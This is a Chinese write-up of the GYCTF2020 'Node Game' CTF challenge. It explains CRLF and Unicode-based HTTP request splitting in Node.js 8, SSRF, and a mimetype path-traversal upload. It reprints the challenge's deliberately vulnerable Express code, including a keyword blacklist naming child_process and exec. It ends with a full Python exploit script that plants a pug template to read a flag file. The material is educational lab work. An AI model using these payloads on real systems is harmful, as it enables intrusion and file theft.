[GYCTF2020]Node Game及知识点

roko / 2024-08-08 / 原文

🚩crlf

  • 简介:CRLF 指的是回车符(CR,ASCII 13,\r,%0d) 和换行符(LF,ASCII 10,\n,%0a),CRLF即回车换行,利用回车换行。因为HTTP协议中是用回车换行来界定头部和实体的,所以如果我们可以用回车换行来恶意拆分请求或者响应
  • 检测:CRLF注入漏洞的本质和XSS有点相似,攻击者将恶意数据发送给易受攻击的Web应用程序,Web应用程序将恶意数据输出在HTTP响应头中。(XSS一般输出在主体中)所以CRLF注入漏洞的检测也和XSS漏洞的检测差不多。通过修改HTTP参数或URL,注入恶意的CRLF,查看构造的恶意数据是否在响应头中输出。

🚩node.js:http请求路径中的unicode字符损坏

  • 前提:使用node.js向特定路径发送http请求,但是却被定向到不一样的路径

  • 简介:虽然用户发出的 http 请求通常是个字符串 string,但 Node.js 最终必须将请求以原始字节 raw bytes 输出,js 支持 unicode,这其中涉及到了 unicode 编码转换。对于不包含 body 的请求,Node.js 默认使用 latin1,它是单字节编码,不能表示高编号的 unicode 字符,比如 emoji 🐶

  • unicode原理:

🚩nodejs 的 HTTP 拆分攻击利用

  • 简介:由于 Nodejs 的 HTTP 库包含了阻止 CRLF 的措施,即如果发出一个 URL 路径中含有回车、换行或空格等控制字符的 HTTP 请求时,它们会被 URL 编码,所以正常的 CRLF 注入在 Nodejs 中并不能利用。

  • 当 Node.js v8 或更低版本对此URL发出 GET 请求时,它不会进行编码转义,因为它们不是HTTP控制字符:

    > http.get('http://47.101.57.72:4000/\u010D\u010A/WHOAMI').output
    [ 'GET /čĊ/WHOAMI HTTP/1.1\r\nHost: 47.101.57.72:4000\r\nConnection: close\r\n\r\n' ]
    
  • 但是当结果字符串被编码为 latin1写入路径时,这些字符将分别被截断为 “\r”(%0d)和 “\n”(%0a):

    > Buffer.from('http://47.101.57.72:4000/\u{010D}\u{010A}/WHOAMI', 'latin1').toString()
    'http://47.101.57.72:4000/\r\n/WHOAMI'
    
  • 原始请求如下:

    GET / HTTP/1.1
    Host: 47.101.57.72:4000
    …………
    
  • 当我们插入CRLF数据后,HTTP请求数据变成了:

    GET / HTTP/1.1
    
    POST /upload.php HTTP/1.1
    Host: 127.0.0.1
    …………
    
    GET HTTP/1.1
    Host: 47.101.57.72:4000
    
  • 构造http请求的脚本

    payload = ''' HTTP/1.1
    
    [POST /upload.php HTTP/1.1
    Host: 127.0.0.1]自己的http请求
    
    GET / HTTP/1.1
    test:'''.replace("\n","\r\n")
    
    payload = payload.replace('\r\n', '\u010d\u010a') \
        .replace('+', '\u012b') \
        .replace(' ', '\u0120') \
        .replace('"', '\u0122') \
        .replace("'", '\u0a27') \
        .replace('[', '\u015b') \
        .replace(']', '\u015d') \
        .replace('`', '\u0127') \
        .replace('"', '\u0122') \
        .replace("'", '\u0a27') \
        .replace('[', '\u015b') \
        .replace(']', '\u015d') \
    
    print(payload)
    
  • 源代码

    var express = require('express');
    var app = express();
    var fs = require('fs');
    var path = require('path');
    var http = require('http');
    var pug = require('pug');
    var morgan = require('morgan');
    const multer = require('multer');
    
    
    app.use(multer({dest: './dist'}).array('file'));
    app.use(morgan('short'));
    app.use("/uploads",express.static(path.join(__dirname, '/uploads')))
    app.use("/template",express.static(path.join(__dirname, '/template')))
    
    
    app.get('/', function(req, res) {
        var action = req.query.action?req.query.action:"index";
        if( action.includes("/") || action.includes("\\") ){
            res.send("Errrrr, You have been Blocked");
        }
        file = path.join(__dirname + '/template/'+ action +'.pug');
        var html = pug.renderFile(file);
        res.send(html);
    });
    
    app.post('/file_upload', function(req, res){
        var ip = req.connection.remoteAddress;
        var obj = {
            msg: '',
        }
        if (!ip.includes('127.0.0.1')) {
            obj.msg="only admin's ip can use it"
            res.send(JSON.stringify(obj));
            return 
        }
        fs.readFile(req.files[0].path, function(err, data){
            if(err){
                obj.msg = 'upload failed';
                res.send(JSON.stringify(obj));
            }else{
                var file_path = '/uploads/' + req.files[0].mimetype +"/";
                var file_name = req.files[0].originalname
                var dir_file = __dirname + file_path + file_name
                if(!fs.existsSync(__dirname + file_path)){
                    try {
                        fs.mkdirSync(__dirname + file_path)
                    } catch (error) {
                        obj.msg = "file type error";
                        res.send(JSON.stringify(obj));
                        return
                    }
                }
                try {
                    fs.writeFileSync(dir_file,data)
                    obj = {
                        msg: 'upload success',
                        filename: file_path + file_name
                    } 
                } catch (error) {
                    obj.msg = 'upload failed';
                }
                res.send(JSON.stringify(obj));    
            }
        })
    })
    
    app.get('/source', function(req, res) {
        res.sendFile(path.join(__dirname + '/template/source.txt'));
    });
    
    
    app.get('/core', function(req, res) {
        var q = req.query.q;
        var resp = "";
        if (q) {
            var url = 'http://localhost:8081/source?' + q
            console.log(url)
            var trigger = blacklist(url);
            if (trigger === true) {
                res.send("<p>error occurs!</p>");
            } else {
                try {
                    http.get(url, function(resp) {
                        resp.setEncoding('utf8');
                        resp.on('error', function(err) {
                        if (err.code === "ECONNRESET") {
                         console.log("Timeout occurs");
                         return;
                        }
                       });
    
                        resp.on('data', function(chunk) {
                            try {
                             resps = chunk.toString();
                             res.send(resps);
                            }catch (e) {
                               res.send(e.message);
                            }
     
                        }).on('error', (e) => {
                             res.send(e.message);});
                    });
                } catch (error) {
                    console.log(error);
                }
            }
        } else {
            res.send("search param 'q' missing!");
        }
    })
    
    function blacklist(url) {
        var evilwords = ["global", "process","mainModule","require","root","child_process","exec","\"","'","!"];
        var arrayLen = evilwords.length;
        for (var i = 0; i < arrayLen; i++) {
            const trigger = url.includes(evilwords[i]);
            if (trigger === true) {
                return true
            }
        }
    }
    
    var server = app.listen(8081, function() {
        var host = server.address().address
        var port = server.address().port
        console.log("Example app listening at http://%s:%s", host, port)
    })
    
  • 按照路由来切分一下

  • 第一块路由:接收get请求传来的action参数,检查是否含有违法字符/、\,然后将其拼接到/template和.pug,接着再赋值给file变量,最后使用pug引擎渲染

    app.get('/', function(req, res) {
        var action = req.query.action?req.query.action:"index";
        if( action.includes("/") || action.includes("\\") ){
            res.send("Errrrr, You have been Blocked");
        }
        file = path.join(__dirname + '/template/'+ action +'.pug');
        var html = pug.renderFile(file);
        res.send(html);
    });
    
  • 第二块路由:/file_upload路由,该路由的功能是对ip地址作出限制,只能限制本地访问,并且设置req.connection.remoteAddress导致不能伪造请求头,所以考虑使用ssrf来绕过。upload功能:可以看到上传文件的存储路径是上传文件的mimetype类型来控制的,所以我们可以通过控制上传文件的mimetype来控制文件的存储路径,所以我们可以通过控制路径来达到路径穿越从而使得任意文件上传

    app.post('/file_upload', function(req, res){
        var ip = req.connection.remoteAddress;
        var obj = {
            msg: '',
        }
        if (!ip.includes('127.0.0.1')) {
            obj.msg="only admin's ip can use it"
            res.send(JSON.stringify(obj));
            return 
        }
        fs.readFile(req.files[0].path, function(err, data){
            if(err){
                obj.msg = 'upload failed';
                res.send(JSON.stringify(obj));
            }else{
                var file_path = '/uploads/' + req.files[0].mimetype +"/";
                var file_name = req.files[0].originalname
                var dir_file = __dirname + file_path + file_name
                if(!fs.existsSync(__dirname + file_path)){
                    try {
                        fs.mkdirSync(__dirname + file_path)
                    } catch (error) {
                        obj.msg = "file type error";
                        res.send(JSON.stringify(obj));
                        return
                    }
                }
                try {
                    fs.writeFileSync(dir_file,data)
                    obj = {
                        msg: 'upload success',
                        filename: file_path + file_name
                    } 
                } catch (error) {
                    obj.msg = 'upload failed';
                }
                res.send(JSON.stringify(obj));    
            }
        })
    })
    
  • 第三块路由:接收一个参数q,并对本地进行请求:url = 'http://localhost:8081/source?' + q,可以发现我们可以通过这里进行ssrf,而且题目也特别强调了 Node 版本为 8.12.0,那么就在网上一搜,发现这个版本的 Node 的 http 模块这里果然有漏洞

    app.get('/core', function(req, res) {
        var q = req.query.q;
        var resp = "";
        if (q) {
            var url = 'http://localhost:8081/source?' + q
            console.log(url)
            var trigger = blacklist(url);
            if (trigger === true) {
                res.send("<p>error occurs!</p>");
            } else {
                try {
                    http.get(url, function(resp) {
                        resp.setEncoding('utf8');
                        resp.on('error', function(err) {
                        if (err.code === "ECONNRESET") {
                         console.log("Timeout occurs");
                         return;
                        }
                       });
    
                        resp.on('data', function(chunk) {
                            try {
                             resps = chunk.toString();
                             res.send(resps);
                            }catch (e) {
                               res.send(e.message);
                            }
     
                        }).on('error', (e) => {
                             res.send(e.message);});
                    });
                } catch (error) {
                    console.log(error);
                }
            }
        } else {
            res.send("search param 'q' missing!");
        }
    })
    
  • 攻击流程:

    • 对/core路由发起切分攻击,请求/core的同时还向/source路由发出上传文件的请求
    • 由于/路由是先读取/template/目录下的pug文件再将其渲染到当前界面,因此应该上传包含命令执行的pug文件;文件虽然默认上传至/upload/目录下,但可以通过目录穿越将文件上传到/template目录
    • 访问上传到/template目录下包含命令执行的pug文件
  • 攻击脚本

    import urllib.parse
    import requests
    
    payload = ''' HTTP/1.1
    Host: x
    Connection: keep-alive
    
    POST /file_upload HTTP/1.1
    Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryO9LPoNAg9lWRUItA
    Content-Length: {}
    cache-control: no-cache
    Host: 127.0.0.1
    Connection: keep-alive 
    
    {}'''
    body='''------WebKitFormBoundaryO9LPoNAg9lWRUItA
    Content-Disposition: form-data; name="file"; filename="lmonstergg.pug"
    Content-Type: ../template
    
    doctype html
    html
      head
        style
          include ../../../../../../../flag.txt
    ------WebKitFormBoundaryO9LPoNAg9lWRUItA--
    '''
    more='''
    
    GET /flag HTTP/1.1
    Host: x
    Connection: close
    x:'''
    payload = payload.format(len(body)+10,body)+more
    payload = payload.replace("\n", "\r\n")
    payload = ''.join(chr(int('0xff' + hex(ord(c))[2:].zfill(2), 16)) for c in payload)
    print(payload)
    
    
    session = requests.Session()
    session.trust_env = False
    session.get('http://8467d768-1851-4764-bf73-e93bedea88bc.node4.buuoj.cn:81/core?q=' + urllib.parse.quote(payload))
    response = session.get('http://8467d768-1851-4764-bf73-e93bedea88bc.node4.buuoj.cn:81/?action=lmonstergg')
    print(response.text)